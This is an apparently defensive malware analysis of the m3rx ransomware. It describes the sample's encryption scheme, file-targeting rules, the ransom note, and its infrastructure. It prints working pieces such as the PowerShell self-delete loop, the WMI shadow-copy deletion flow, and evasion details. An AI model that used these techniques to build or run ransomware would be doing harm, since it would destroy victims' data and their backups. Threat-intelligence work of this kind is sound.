
# M3rx

Technical Analysis — V1

**REVERSE-ENGINEERED REPORT**

**RansomLook** · ransomlook.io
File last modified: 2026-04-26

Sample SHA-256: `b09ece33ffe5efb1903526229595a8c74d983c731505bee09c2a005036c834b8`

# m3rx Ransomware

## 1. Sample Identification

| Field | Value |
|---|---|
| **Family** | m3rx (internal tag — `LOCAL` variant) |
| **SHA-256** | `b09ece33ffe5efb1903526229595a8c74d983c731505bee09c2a005036c834b8` |
| **MD5** | `071e2e0087554d96bba6a4ab73d88cd0` |
| **Type** | PE32+ x86_64, Windows (console subsystem) |
| **Size** | 2,580,480 bytes (2,520 KB) |
| **Language** | Go 1.x (MSVC amd64/windows) |
| **Compile timestamp** | `0` (stripped) |
| **PDB path** | stripped (no residual PDB string) |
| **Image base** | `0x400000` |
| **Entry point** | `_rt0_amd64_windows` @ `0x466040` |
| **Sections** | 6: `.text` rx (1,136 KB), `.rdata` r (1,248 KB), `.data` rw (~480 KB), `.idata` rw (×2), `.reloc` r, `.symtab` (Go stub) |
| **Functions** | 2,633 total (670 named via pclntab + Lumina) |

Statically-compiled Go binary, standard Go runtime ( `golang.org/x/sys/windows` , `golang.org/x/net/dns/dnsmessage` , `encoding/gob` , `hash/crc32` , `path/filepath` , `crypto/aes` , `crypto/cipher` , `crypto/ecdh` , `crypto/rand` , `compress/gzip` , `os/exec` , `sync` , `time` , `os/signal` , `context` ). **No packer**, normal entropy (6.17 on `.text` , 5.64 on `.rdata` ). The Go symbol table ( `pclntab` ) is preserved — `main.*` and `golang.org_x_*.*` names are directly readable, which is a huge analysis shortcut. A single static import `kernel32.dll` (40 functions); everything else (advapi32, ntdll, psapi, winmm, dnsapi, user32, ws2_32, crypt32, secur32, shell32, userenv, version, iphlpapi, netapi32, **rstrtmgr**, setupapi, wtsapi32, ole32, oleaut32) is resolved dynamically via `golang.org/x/sys/windows.LazyDLL` / `LazyProc` (= `LoadLibraryA` + `GetProcAddress` ). Notable indirect dependency in `buildinfo` : `golang.org/x/sys v0.42.0` .

The configuration (attacker X25519 pubkey, extension, note filename and body) is embedded as a **gzip + gob** blob in `.rdata` , 4,096 bytes at `0x55ECBF` ( `aT_0` ). The WMI shellcode for VSS deletion is embedded as a **gzip** blob, ~794 bytes split across stack literals + `.rdata` at `0x5A799A` .

### Static imports (1 DLL)

| DLL | Count | Role |
|---|---|---|
| **kernel32.dll** | 40 | Only static IAT. Core APIs required by the Go runtime (VirtualAlloc/Free/Query, CreateThread, CreateIoCompletionPort, WaitForSingleObject/Multiple, CreateFileA/WriteFile, GetStdHandle, TlsAlloc, LoadLibraryA/W, GetProcAddress, GetSystemInfo/Directory, GetEnvironmentStringsW, SwitchToThread, SetThreadContext, SuspendThread/ResumeThread, SetEvent/SetWaitableTimer, DuplicateHandle, CreateWaitableTimerExW, AddVectoredExceptionHandler, SetUnhandledExceptionFilter, ExitProcess, …). |

### DLLs resolved dynamically (17, via `LazyDLL`)

| DLL | Primary role |
|---|---|
| `advapi32.dll` | Token/SID/SCM (check_admin, `SID_SubAuthority`) |
| `ntdll.dll` | Go runtime (`Rtl*`, `NtSet*`) |
| `psapi.dll` | Module enumeration (Go runtime) |
| `winmm.dll` | Go runtime timers |
| `dnsapi.dll` | Resolution (unused in user code — runtime only) |
| `user32.dll` | `ShowWindow` (hide console), `wsprintfW` (shellcode) |
| `ws2_32.dll` | Winsock (runtime only) |
| `crypt32.dll` | CertStore (runtime x/sys) |
| `secur32.dll` | Security (runtime) |
| `shell32.dll` | `SHEmptyRecycleBinW` |
| `userenv.dll` | `CreateEnvironmentBlock` (runtime) |
| `version.dll` | Versioning (runtime) |
| `iphlpapi.dll` | Network adapters (runtime) |
| `netapi32.dll` | `Net*` (runtime) |
| `rstrtmgr.dll` | **Restart Manager** — unlock held files (`RmStartSession`, `RmRegisterResources`, `RmGetList`, `RmShutdown`, `RmEndSession`) |
| `setupapi.dll` | `SetupDi*` (runtime) |
| `wtsapi32.dll` | WTS (runtime) |
| `ole32.dll` | COM init for the shadow-copy shellcode (`CoInitializeEx`, `CoInitializeSecurity`, `CoCreateInstance`, `CoSetProxyBlanket`) |
| `oleaut32.dll` | BSTR for shellcode (`SysAllocString`, `SysFreeString`, `VariantClear`) |

## 2. Infrastructure

| Field | Value |
|---|---|
| **Onion** | `pippahtohg6qgioqu3ixrsueefuw7thythmmeanyrgwn3eixcuu6jvqd.onion` |
| **Chat URL** | `http://pippahtohg6qgioqu3ixrsueefuw7thythmmeanyrgwn3eixcuu6jvqd.onion/` |
| **Victim ID / path token** | (26-char alphanumeric, hardcoded in the config) |
| **TOX ID** | `9A1217BEDA4AB77052A25D17CB6FFB34AFA2BE462E607F2FD8E1DF1DDD4CA16A64E18B1A0BF2` |
| **Email** | (none) |
| **Note filename** | `RECOVERY_NOTES.TXT` |
| **Encryption extension** | `.8hmlsewu` (appended after 16 random chars + `.`) |
| **Mutex name** | `CRC32("kek" + hostname)` in decimal ASCII (e.g. `3141592653`) |
| **Payment** | BTC (negotiated in the Tor chat) |
| **Pressure** | Double extortion: publication + sharing with competitors |

The attacker public key is present in the config in cleartext (after gzip+gob decode):

> `X25519 public key (K1) = cdbe4aed37c98d67a005ef469e7e0586e0ff8973b91a8d577d320e67cf46b572`

---

## 3. Ransom Note

### Filename

`RECOVERY_NOTES.TXT` — dropped recursively into **every directory** (on the enumerated drives) whose name (case-insensitive, `strings.EqualFold`) is `desktop` or `documents`. Dropped by `main.local_drop_note` (`0x518420`) via `os.WriteFile(path, content, 0o644)`. The content is pulled from the embedded config (gob field `NT`).

### Content (decompressed from the gzip+gob blob at `aT_0` / `0x55ECBF`)

```
Your files have been stolen from your network and encrypted with a military class algorithm. We
work for money and are not associated with politics. All you need to do is contact us and pay
decrypt fee.

--- Our interaction process:

1. You contact us.
1. We send you a list of files that were stolen.
2. We decrypt 3 files to confirm that our decryptor works.
3. You pay the amount in BTC, that was established in our negotiations.
4. You get decryptor, approve that all data is secure.
5. We wipe out all your data from our database and give you a detailed security breach report
with security improve advices.
--- Client area (use this site to contact us):

Link for Tor Browser: http://pippahtohg6qgioqu3ixrsueefuw7thythmmeanyrgwn3eixcuu6jvqd.onion/
[SNIP]

>>> to begin the recovery process.

* In order to access the site, you will need Tor Browser,
  you can download it from this link: https://www.torproject.org/
--- Additional contacts:

Support Tox: 9A1217BEDA4AB77052A25D17CB6FFB34AFA2BE462E607F2FD8E1DF1DDD4CA16A64E18B1A0BF2

--- Recommendations:

DO NOT RESET OR SHUTDOWN PC's - files may be damaged.
DO NOT RENAME OR MOVE the encrypted and readme files.
DO NOT DELETE readme files.

--- Important:

If you refuse to pay or do not get in touch with us, we start publishing your files, as well as
share them to your competitors.
```

Classic double-extortion tone: threats of publication **AND** sharing data with competitors (claims prior exfiltration; this binary does NOT exfiltrate — the wording assumes an upstream stealer, not covered in this analysis).

---

## 4. Execution Flow ( `main.main` @ `0x518e60` , 4,383 bytes)

```
 1. os/signal.NotifyContext(ctx, SIGINT) — ctx cancellable on Ctrl+C
 2. context.WithCancel() ×2 — parent + shutdown
 3. makechan(c, 1)       — completion channel (main.c_1)
 4. makechan(c_0, 0)     — log channel (unbuffered)
 5. go closure_logger    — wraps main.logger (stdout + optional file)
 6. go main.main.func2   — signal-handler goroutine (prints "[INTERRUPT] Wait for all threads
safe exit..." on ctx.Done())
 7. main.mutex_exists    — if exists (CreateMutex GetLastError=ALREADY_EXISTS) → log "only one
instance" + return
 8. main.check_admin     — GetTokenInformation(TokenIntegrityLevel) + SID_SubAuthority; require
IL ≥ 0x3000 (HIGH)
 9. flag.FlagSet.Var ×9  — parse CLI flags (see §11)
10. flag.Parse()
11. if -fast:  perc := 100
12. if -hide:  main.hide_console (ShowWindow(GetConsoleWindow, SW_HIDE))
13. main.load_config     — decompress gzip+gob + X25519 ECDH → shared_secret (32 B)
14. runtime.GC()         — scrub transient buffers
15. main.local_init      — if -path given use it; else enum drives A-Z via GetDriveTypeW (keep
types 2/3/4)
16. print_local_paths → log
17. log "Percentage: %d%%"
18. if -delay N>0:   sleep N minutes (loop with 1-second sleep until delay expired, respects ctx)
    elif -time HH:MM: time.Parse; loop sleep 1 s until hour+min match, respects ctx
19. log "%s [LOCAL] Started."
20. go closure_progress_logger  — wraps main.progress_logger (stats every 5 s)
21. go closure_local_main       — wraps main.local_main (spawns walkers + encoders, see §4.1)
22. chanrecv1(c_1, nil)         — block until local_main signals done
23. main.delete_shadow          — embedded shellcode (VSS deletion via WMI, see §7)
24. main.empty_recycle_bin      — SHEmptyRecycleBinW(NULL, NULL, 7)
25. if !-keep: main.self_delete — PowerShell secure-overwrite + Remove-Item loop
26. log "%s [LOCAL] All operations complited. Success - %d file(s), %s. Error - %d file(s), %s"
27. final defer: cancel ctx (propagates to all goroutines)
```

### 4.1 Thread architecture ( `main.local_main` @ `0x5185a0` )

```
c_2 = makechan(chan string, 100)            — path queue walker → encoders

IF  -threads N > 0 :
    spawn N encoder workers (closure_local_encoder wrapping main.local_encoder)
FOR each root_path in local_paths :
    wg_walkers.Add(1)
    go main.local_main.func2(root_path)       — wraps main.local_walk
    IF -threads == 0 :                         — default
        spawn 4 encoder workers per drive (closure_local_encoder wrapping main.local_encoder)
wg_walkers.Wait()
close(c_2)                                    — signals encoders to drain and exit
wg_encoders.Wait()
chansend1(c_1, "done")                        — signal main
```

Thus by default: N_drives × 4 workers + N_drives walkers, pipelined fan-out/fan-in. The walker ( `main.local_walk` ) recurses, skips blacklists, drops the note into `desktop` / `documents` , and sends eligible file paths to `c_2` . Encoders consume `c_2` , rename files (random + extension), unlock via RM if needed, and call `encode_file` .

### 4.2 Per-file worker ( `main.local_encoder` @ `0x517c80` )

```
LOOP:
    select : path ← c_2  (or ctx.Done())
    parent = filepath.Dir(path)
    new_name = parent + "/" + randStr(16) + "." + extension(from config)
    os.Rename(path, new_name)                — 1st attempt
    IF rename fails :
        time.Sleep(10 ms)
        main.unlock_file(path)               — rstrtmgr RmShutdown on PIDs holding the file
        time.Sleep(10 ms)
        main.set_attr(path)                  — clear FILE_ATTRIBUTE_READONLY
        time.Sleep(10 ms)
        os.Rename(path, new_name)            — 2nd attempt (log error if still fails)
    file = os.OpenFile(new_name, RDWR)
    IF open fails :
        time.Sleep + set_attr + retry
    IF still fails : log "OpenFile ERROR", error counters += 1
    ELSE :
        main.encode_file(ctx, file, basename) — the crypto pipe
        update success / bytes counters
        close file
```

---

## 5. Encryption System ( `main.encode_file` @ `0x516a60` , 3,141 bytes)

### 5.1 Key exchange ( `main.load_config` @ `0x517740` )

| Parameter | Value |
|---|---|
| **Algorithm** | X25519 (ECDH over Curve25519) |
| **Implementation** | `crypto/ecdh` stdlib — `x25519Curve.GenerateKey` , `PrivateKey.PublicKey` , `x25519Curve.NewPublicKey` , `PrivateKey.ECDH` |
| **Attacker public key (K1)** | `cdbe4aed37c98d67a005ef469e7e0586e0ff8973b91a8d577d320e67cf46b572` (32 B, `.rdata` → config gob) |
| **Ephemeral private key** | generated each run via `crypto/rand.Reader` (not exported, lives in RAM) |
| **Ephemeral public key** | derived via `PublicKey()` — **written into every file's footer** (32 B at +56, cf §5.4) so the attacker can recompute `shared_secret = ECDH(attacker_priv, ephemeral_pub)` |
| **Output shared secret** | `shared_secret = ECDH(ephemeral_priv, attacker_pub)` — **32 B** used as the **KEK** (Key-Encryption-Key) |

`load_config` step-by-step:

1. Builds a `bytes.Buffer` initialized with `1F 8B 08 00 00` (5 bytes); `Write(5×0x00)` → full gzip header (10 bytes, all zeros after the magic).
2. `qmemcpy` copies the 4,096 B `aT_0` blob ( `0x55ECBF` ) into a local buffer; `Write(v77)` appends it → the `bytes.Buffer` holds 4,106 bytes ( `1F 8B 08 00 00 00 00 00 00 00` + 4,096 B blob).
3. `compress/gzip.NewReader` decompresses into 1,522 bytes of gob plaintext.
4. `encoding/gob.NewDecoder(gz).Decode(&EC)` where `EC struct { K1 [32]uint8; EX string; NN string; NT []byte }` .

5. `crypto/ecdh.X25519().GenerateKey(crypto/rand.Reader)` → `ephemeral_priv`.
6. `ephemeral_priv.PublicKey()` → `ephemeral_pub` (32 B). Stored in the global `g_ephemeral_x25519_pubkey` @ `0x6C80C0` (used at §5.4 to write into each file's footer).
7. `X25519().NewPublicKey(K1[:])` → `attacker_pub_obj` (parses bytes → curve point).
8. `ephemeral_priv.ECDH(attacker_pub_obj)` → `shared_secret` (32 B). Stored in the global `g_shared_secret` @ `0x6C80E0`, used by `encode_file` as the KEK.

Expected error strings:

- `"Config unpack error."` (gzip failure) — wrapped into an `errors.errorString`
- `"Config decode error."` (gob failure) — idem
- ECDH errors are propagated

### 5.2 Symmetric cipher (bulk file encryption)

| Parameter | Value |
|---|---|
| **Algorithm** | AES-256-CTR |
| **Implementation** | `crypto/aes.NewCipher(key[32])` + `crypto/cipher.NewCTR(block, IV[16])` |
| **Per-file key** | 32 B **random** (generated on 1st pass via `crypto/rand.Reader` through `does_ReadAtLeast`), stored in cleartext in the footer during `perc < 100` (partial) passes, overwritten by its **GCM-wrapped** form at the final pass |
| **Per-file IV** | 16 B random, stored in cleartext in the footer (offset +8, §5.4) |

### 5.3 Key wrapping (final pass)

| Parameter | Value |
|---|---|
| **Algorithm** | AES-256-GCM |
| **Implementation** | `crypto/aes.NewCipher(shared_secret[32])` + `crypto/cipher.newGCMWithNonceAndTagSize(block, nonceSize=12, tagSize=16)` |
| **Nonce** | 12 B = first 12 bytes of the footer's IV block |
| **Plaintext** | the per-file key (32 B) |
| **Ciphertext** | 48 B (32 + tag 16) written to the footer at offset +88 |

The same `shared_secret` is also used as an AES-CTR key to **encrypt the original filename** ( `v + 34` = 884 B buffer, UTF-8 filepath) — the original name is recoverable once you know the run's `ephemeral_pub` + the `attacker_priv`.

### 5.4 File format (encrypted file)

Layout **confirmed** via disassembly + Unicorn emulation :

```
offset   size   field               description
──────────────────────────────────────────────────────────────────────
0        N-1024 encrypted_data      AES-256-CTR chunks of the payload
N-1024   4      magic (u32 LE)      0x3828AC45 partial | 0x741FBE88 complete
N-1020   4      perc (u32 LE)       value of -perc (1..100)
N-1016   16     iv[16]              AES-CTR IV; first 12 bytes also serve
                                    as GCM nonce (final pass)
N-1000   32     file_key[32]        per-file AES-256 key (plaintext in pass1,
                                    source for Seal at final pass)
N-968    32     ephemeral_pub[32]   X25519 ephemeral public key — material
                                    required for recovery (written only
                                    at final pass, cf §5.4.1)
N-936    48     gcm_sealed[48]      AES-256-GCM Seal output (32 B ct + 16 B tag)
                                    — wraps file_key with shared_secret
N-888    884    filename_enc[884]   AES-CTR(key=file_key, iv=iv) over the
                                    original UTF-8 name, zero-padded (max 884 B)
N-4      4      chunk_counter (u32) number of chunks processed; cap 51200
──────────────────────────────────────────────────────────────────────
= 1024 B
```

### 5.4.1 Where the ephemeral_pub lives — data-flow validated

Traced across `main.load_config` and `main.encode_file`:

```
main.load_config (0x517740) :
  PublicKey() result → runtime.memmove(dst=g_ephemeral_x25519_pubkey @ 0x6C80C0, src=..., 32)
  ECDH() result      → runtime.memmove(dst=g_shared_secret          @ 0x6C80E0, src=..., 32)

main.encode_file (0x516a60), final pass @ 0x517584-0x517598 :
  rbx = &g_ephemeral_x25519_pubkey
  rdx = &footer + 0x38       (= footer+56)
  runtime.memmove(rdx, rbx, 32)        ← ephemeral_pub is copied at footer+56

  rax = &g_shared_secret               ← AES-GCM key
  crypto_aes_NewCipher(key=rax, 32)
  crypto_cipher_newGCMWithNonceAndTagSize(block, 12, 16)
  Seal(block, dst=nil, nonce=footer+8[:12], plaintext=footer+24[:32], AAD=nil)
    → new 48-byte slice (ct+tag), memmove'd to footer+88
```

**Recovery procedure** (for the attacker holding `attacker_priv`):

1. Read the 1,024 B footer.
2. `ephemeral_pub = footer[+56 : +56+32]`
3. `shared_secret = ECDH(attacker_priv, ephemeral_pub)` (via X25519)
4. `file_key = AES-GCM.Open(key=shared_secret, nonce=footer[+8 : +8+12], ct=footer[+88 : +88+48])` → recovers the 32 B per-file key
5. `plaintext = AES-CTR(key=file_key, IV=footer[+8 : +8+16])` over `file[0 : filesize-1024]`
6. `orig_filename = AES-CTR(key=file_key, IV=footer[+8 : +8+16])` over `footer[+136 : +136+884]`, zero-stripped, UTF-8

A **single** `ephemeral_priv` per run ⇒ `shared_secret` is stable across the entire session ⇒ once a given `ephemeral_pub` has been paired with an `attacker_priv` computation, every file in that run shares the same KEK. Simple on the recovery side (monolithic).

### 5.4.2 Caveat for PARTIAL files

If magic = `0x3828AC45` (partial in progress), the footer contains the `file_key` **in cleartext** at offset +24 (not yet sealed). An analyst who snapshots the file at this stage can decrypt it **without** `attacker_priv`. The Seal only happens on the final pass.

## 5.5 Intermittent encryption (`encode_file` loop)

- **Chunk size**: `chunk_size = (perc << 8 / 100) << 12` bytes. Concrete mapping (4 KB-aligned except rounding):
- `perc = 1` → 8,192 B (8 KB)
- `perc = 25` → 256 KB
- `perc = 50` → 512 KB
- `perc = 100` → 1 MiB (`-fast` forces this)
- **Stride**: chunks are written at offsets `chunk_counter × 1 MiB` — fixed 1 MiB stride regardless of `chunk_size`. So at `perc = 1`, each 1 MiB block has only ~7 KB encrypted at the start, rest untouched. At `perc = 100`, encryption is contiguous.
- **Loop**: 1. `time.Now()` (t0) — throttling start 2. `os.File.ReadAt(buf, chunk_size, offset_read)`; skip if `< 1024 B` remain (to not overwrite the footer) 3. `os.File.Seek(offset_write, 0)` (same position as read, minus 1,024 B footer padding) 4. CTR encrypt `buf[:n-1024]` 5. `os.File.Write(buf[:n-1024])` 6. `os.File.Seek(offset_read, 0)` (reposition for next iteration) 7. `chunk_counter++`; `os.File.Write(chunk_counter)` (4 B at file end) 8. Update global counters (bytes_encrypted, in 1 MiB or tail slices) 9. `dt = Now() - t0`; if `dt < 10 ms` → `time.Sleep(1 ms × min(999, ...))` (**auto I/O throttling**, avoids the disk flood that would trigger behavioural detection)
- **Exit conditions**:
- `byte_6C7CA3[0]` (`-fast` flag) → stop after 1 pass (the flag short-circuits the CTR loop past the first chunk)
- `chunk_counter == 51200` — guardrail (max 200 GB at 4 MB chunks, but practically caps protection against monster files)
- `ctx.Done()` — signal propagated (Ctrl+C or wrapper equivalent)
- **Finalisation** (on loop exit): 1. `Seek(-1024, SEEK_END)` → positions at the footer 2. `*magic = 0x741FBE88` (complete) 3. `memcpy(footer[+56..+88], g_ephemeral_x25519_pubkey[:32])` 4. `AES-256-GCM.Seal(nonce=footer[+8 : +8+12], plaintext=per_file_key, aad=nil)` → 48 B (ct 32 + tag 16) 5. Copy sealed output to `footer[+88..+136]` 6. `AES-256-CTR.XORKeyStream(footer[+136 : +136+884])` — encrypts the original filename in place 7. `binary.Write(file, footer)` — final 1,024 B dump

## 5.6 Skip rules

- File `< 1024 B` → skipped with error `"stat '%s' err: so small, %d"`
- File already marked `0x741FBE88` (complete) → skipped (returns size)
- File marked `0x3828AC45` (partial in progress) → **resumed** (reads key/IV/chunk_counter from the footer, continues the CTR loop)

---

# 6. File Targeting

## 6.1 Targeted extensions

**All** (no allowlist) except what's in the blocklists.

### 6.2 Drive enumeration (`main.local_init` @ `0x51b4e0`)

- If `-path <p>` is given, only that path is added to the root list.
- Otherwise: loop `for c = 'A' to 'Z'` → `Sprintf("%c:\\", c)` → `UTF16PtrFromString` → `GetDriveTypeW`. Keeps drives returning `2 (DRIVE_REMOVABLE)`, `3 (DRIVE_FIXED)`, `4 (DRIVE_REMOTE)`. **Skips** `1 (DRIVE_NO_ROOT_DIR)`, `5 (DRIVE_CDROM)`, `6 (DRIVE_RAMDISK)`, `0 (DRIVE_UNKNOWN)`.

### 6.3 Excluded directories (11, `main.is_exclude_dir` @ `0x5163e0`)

Case-insensitive match (`strings.EqualFold`) on directory name alone:

| Dir | Reason |
|---|---|
| `windows` | OS stability |
| `programdata` | App config (keeps AV/services runnable) |
| `program files` | Installed binaries |
| `program files (x86)` | Installed binaries |
| `$recycle.bin` | Emptied at the end of the flow anyway |
| `all users` | Shared profiles (chains with programdata) |
| `winnt` | Legacy OS variant |
| `appdata` | User config |
| `application data` | XP variant of appdata |
| `local settings` | XP variant |
| `boot` | Windows boot files |

The walker also treats `"."` (first char == `0x2E`) as a self-ref, and `".."` (2 chars matching `0x2E2E`) → skip.

### 6.4 Excluded files by exact name (9, `main.is_exclude_file` @ `0x5165e0`)

| File | Reason |
|---|---|
| `ntldr` | Legacy boot loader |
| `ntdetect.com` | XP boot |
| `autoexec.bat` | Legacy boot script |
| `iconcache.db` | Explorer cache |
| `bootsect.bak` | Boot backup |
| `bootfont.bin` | Boot fonts |
| `bootmgr` | Vista+ boot manager |
| `thumbs.db` | Explorer cache |
| `RECOVERY_NOTES.TXT` (via config) | The note itself — prevents re-encryption of an already-dropped note |

### 6.5 Excluded by glob (8, `path/filepath.Match`)

`ntuser.dat*`, `*.exe`, `*.dll`, `*.sys`, `*.msi`, `*.ini`, `*.inf`, `*.lnk`.

### 6.6 File size floor

Any file `< 1024 B` is skipped upstream in the walker (size from `DirEntry.Info().Size()`); **redundant** with the check in `encode_file` which returns `"so small"` as a fallback.

### 6.7 Renaming

Final form: `<parent>/<randStr(16)>.<EX_from_config>` where `randStr` is 16 chars from `[a-z0-9]` (`crypto/rand.Read` + modulo 36). Extension comes from gob field `EX` → `.8hmlsewu` here. Victim-ID is NOT in the filename — it's only in the footer (sealed key) and in the Tor note URL.

---

## 7. Recovery Inhibition — VSS Deletion via WMI Shellcode

`main.delete_shadow` @ `0x51c140` (3,627 bytes).

| Step | Implementation |
|---|---|
| 1. Builds a `bytes.Buffer` with a 10 B inline gzip header (`1F 8B 08 00 00` + 5 zeros) | Same pattern as in `load_config` |
| 2. Writes 794 B of embedded blob | 10 B from stack literals (`v90.array = 0x3E145154484D545D`, `v90.len low16 = 0x346F`) + 784 B copied from `unk_5A799A` (`.rdata`) |
| 3. `gzip.NewReader` + `io.copyBuffer` → output `bytes.Buffer` | 1,313 B of **x86-64 shellcode** |
| 4. Resolves APIs via LazyDLL/LazyProc (10 fns stored in an 80 B slice) | `kernel32!LocalAlloc`, `LocalFree`, `ole32!CoInitializeEx`, `CoInitializeSecurity`, `CoCreateInstance`, `CoSetProxyBlanket`, `oleaut32!SysAllocString`, `SysFreeString`, `VariantClear`, `user32!wsprintfW` |
| 5. `kernel32!VirtualProtect(shellcode, sz, 0x40 /*PAGE_EXECUTE_READWRITE*/, &old)` | Makes the page executable |
| 6. `kernel32!CreateThread(0, 0, shellcode, api_table, 0, NULL)` | Dedicated thread |
| 7. `syscall.WaitForSingleObject(thread)` + `syscall.CloseHandle(thread)` | Waits for completion |

**Exact shellcode behaviour — validated via Capstone disassembly (250 instructions) + Unicorn emulation (full trace below):**

```
API table layout (rbx = table passed by Go to CreateThread) :
  +0x00 LocalAlloc          +0x08 LocalFree        +0x10 CoInitializeEx
  +0x18 CoInitializeSecurity +0x20 CoCreateInstance +0x28 CoSetProxyBlanket
  +0x30 SysAllocString      +0x38 SysFreeString    +0x40 VariantClear
  +0x48 wsprintfW

Vtable offsets used :
  IWbemLocator::ConnectServer    +0x18
  IWbemServices::DeleteInstance  +0x80       ← direct DeleteInstance, NOT ExecMethod
  IWbemServices::ExecQuery       +0xA0
  IEnumWbemClassObject::Next     +0x20
  IWbemClassObject::Get          +0x20
  IUnknown::Release              +0x10

WMI strings built on the stack (UTF-16-LE, via `mov dword ptr [rsp+X], imm32`) :
  "ROOT\CIMV2"                    → BSTR namespace
  "WQL"                           → BSTR queryLang
  "SELECT * FROM Win32_ShadowCopy" → BSTR query
  "ID"                            → property name
  "Win32_ShadowCopy.ID='%s'"      → wsprintfW format string

CLSID/IID reconstructed (GUID form) :
  CLSID_WbemLocator = {4590F811-1D3A-11D0-891F-00AA004B2E24}
  IID_IWbemLocator  = {DC12A687-737F-11CF-884D-00AA004B2E24}
```

Execution flow (Unicorn trace, simulated with 2 fake shadow copies):

```
 1. CoInitializeEx(NULL, COINIT_MULTITHREADED=2)
 2. CoInitializeSecurity(NULL, -1, NULL, NULL, authnLvl=DEFAULT(0),
                         impLvl=IMPERSONATE(3), NULL, 0, NULL)
 3. CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER(1),
                     IID_IWbemLocator, &pLoc)
 4. SysAllocString("ROOT\\CIMV2")                          → BSTR ns
 5. IWbemLocator::ConnectServer(ns, NULL, NULL, NULL, 0, NULL, NULL, &pSvc)
 6. CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT(10), RPC_C_AUTHZ_NONE(0), ...)
 7. SysAllocString("WQL")                                  → BSTR queryLang
 8. SysAllocString("SELECT * FROM Win32_ShadowCopy")        → BSTR query
 9. IWbemServices::ExecQuery(queryLang, query,
                             WBEM_FLAG_FORWARD_ONLY(0x20), NULL, &pEnum)
10. LocalAlloc(LPTR(0x40), 1024)                           → VARIANT storage buffer
11. LOOP (while Next returns ≥ 1 object) :
      Next(WBEM_INFINITE(-1), 1, &pObj, &retCount)
      Get("ID", 0, &variant, NULL, NULL)
      IF variant.vt == VT_BSTR (8) :
          wsprintfW(buffer, L"Win32_ShadowCopy.ID='%s'", variant.bstrVal)
          SysAllocString(buffer)                          → BSTR objPath
          IWbemServices::DeleteInstance(objPath, 0, NULL, NULL)   ← KILL
          SysFreeString(objPath)
      VariantClear(&variant)
      pObj->Release()
12. LocalFree ; pEnum->Release()
    SysFreeString(query) ; SysFreeString(queryLang) ; pSvc->Release()
    SysFreeString(ns)  ; pLoc->Release()
    (no CoUninitialize — thread exits naturally)
```

**Why embedded as shellcode?** Go has no native COM support; doing this in pure Go would require extensive `syscall.Syscall*` or CGo. A compact native shellcode (1,313 B) is simpler. Standard `push rbx/rbp/rsi/rdi/r12/r13/r14` + `sub rsp, 0xE0` prologue; WMI strings never materialised globally (built char-by-char on the stack via `mov dword/word ptr [rsp+X], imm`) to avoid static signatures. Complete Unicorn decoder at `emulate_m3rx_shellcode.py` in this folder.

Mapping: **[U0305 / T1070.004] Volume Shadow Copy Service (VSC,VSS) Deletion**.

---

## 8. Targeted Services

**None** — no service stop/disable (no `OpenService` / `ControlService` / `ChangeServiceConfig` call). The binary relies on Restart Manager (§6.1 / `unlock_file`) to resolve locked files at encryption time, not on a pre-kill before enumeration.

---

## 9. Targeted Processes

**No proactive kill** — no `CreateToolhelp32Snapshot` / `TerminateProcess`. The only termination vector is **Restart Manager** in `main.unlock_file` @ `0x51af60`, invoked ONLY on a failed `rename` / `open` on a target file:

```
RmStartSession(&session, 0, key)
RmRegisterResources(session, 1, filepath, 0, NULL, 0, NULL)
RmGetList(session, &procInfoNeeded, &procInfoCount, procInfo, &rebootReasons)
IF procInfoCount > 0 : RmShutdown(session, RmForceShutdown /*1*/, NULL)
RmEndSession(session)
```

Effect: Windows lifts up every process holding a handle on the target file and force-shutdowns them ( `RM_SHUTDOWN_TYPE.RmForceShutdown` ). **Very surgical** compared to an explicit kill-list: only targets what is actually blocking a file, when it's blocking. Primitives reused multiple times across the run (local mutex `m_` guards the API resolution between calls).

---

## 10. Persistence & Evasion

No disk/registry persistence. One-shot execution then self-wipe.

### 10.1 Single-Instance Mutex ( `main.mutex_exists` @ `0x51ae80` )

```
name := fmt.Sprintf("%d", crc32.ChecksumIEEE([]byte("kek" + os.Hostname())))
handle, err := windows.CreateMutex(nil, false, utf16(name))
return err != nil    // i.e. ERROR_ALREADY_EXISTS
```

Global mutex (not `Local\` / `Global\` prefix — default namespace). Name is the decimal form of `CRC32("kek" + Hostname())` — **signature varies per hostname**.

### 10.2 Admin / Integrity Level Gate ( `main.check_admin` @ `0x51bb20` )

```
hToken := OpenProcessToken(CurrentProcess, TOKEN_QUERY)
GetTokenInformation(hToken, TokenIntegrityLevel=25, buf, ...)
psid := buf.Label.Sid
il := *GetSidSubAuthority(psid, *GetSidSubAuthorityCount(psid) - 1)
if il < 0x3000 : return errors.New("Current IL = 0x%04X, not elevated.")
```

Refuses to run unless the token is **HIGH integrity ( `SECURITY_MANDATORY_HIGH_RID = 0x3000` ) or above** (SYSTEM = 0x4000). Not a UAC bypass — just a **guardrail**: declines to run in Medium. ATT&CK mapping: T1480 (Execution Guardrails).

### 10.3 Console Hiding ( `main.hide_console` @ `0x51bfe0` )

`ShowWindow(GetConsoleWindow(), SW_HIDE=0)` — triggered by `-hide` flag (default visible, suggesting an operator-first usage where the console acts as feedback).

### 10.4 Self-Delete via PowerShell Secure Overwrite ( `main.self_delete` @ `0x51b980` )

Command built by `runtime.concatstring3`:

```
part1 = "$f='"
part2 = <self executable path> (via runtime.startTheWorld.func1_0 — actually os.Executable
misnamed by Lumina)
part3 = "';while(Test-Path -Path $f){$o=new-object byte[] 10485760;(new-object
Random).NextBytes($o);[IO.File]::WriteAllBytes($f,$o);Remove-Item -Path $f;Sleep 1;}"
```

Then `os.exec.Command("powershell.exe", "-c", full_cmd).Start()` (fire-and-forget). Effect: as long as the file exists, a PS thread overwrites it with 10 MiB of random bytes and then deletes it, with `Sleep 1`. Once the main `.exe` exits, the loop succeeds. **10 MB random** is overkill for a 2.5 MB binary (ensures overwrite past filesystem slack). Mapping: **[U1007] File Melt** / **T1070.004** / **T1059.001** (PowerShell).

### 10.5 Empty Recycle Bin ( `main.empty_recycle_bin` @ `0x51ba40` )

`shell32!SHEmptyRecycleBinW(NULL, NULL, SHERB_NOCONFIRMATION|SHERB_NOPROGRESSUI|SHERB_NOSOUND = 7)` — silent. Prevents trivial restoration of a file that had been "moved" before encryption.

### 10.6 File Attribute Fix-Up ( `main.set_attr` @ `0x51b900` )

`GetFileAttributesW` + `&= ~FILE_ATTRIBUTE_READONLY (0x1)` + `SetFileAttributesW`. Only clears READONLY; doesn't touch HIDDEN/SYSTEM. Invoked on open failure in the recovery path. Not anti-analysis per se — operational primitive.

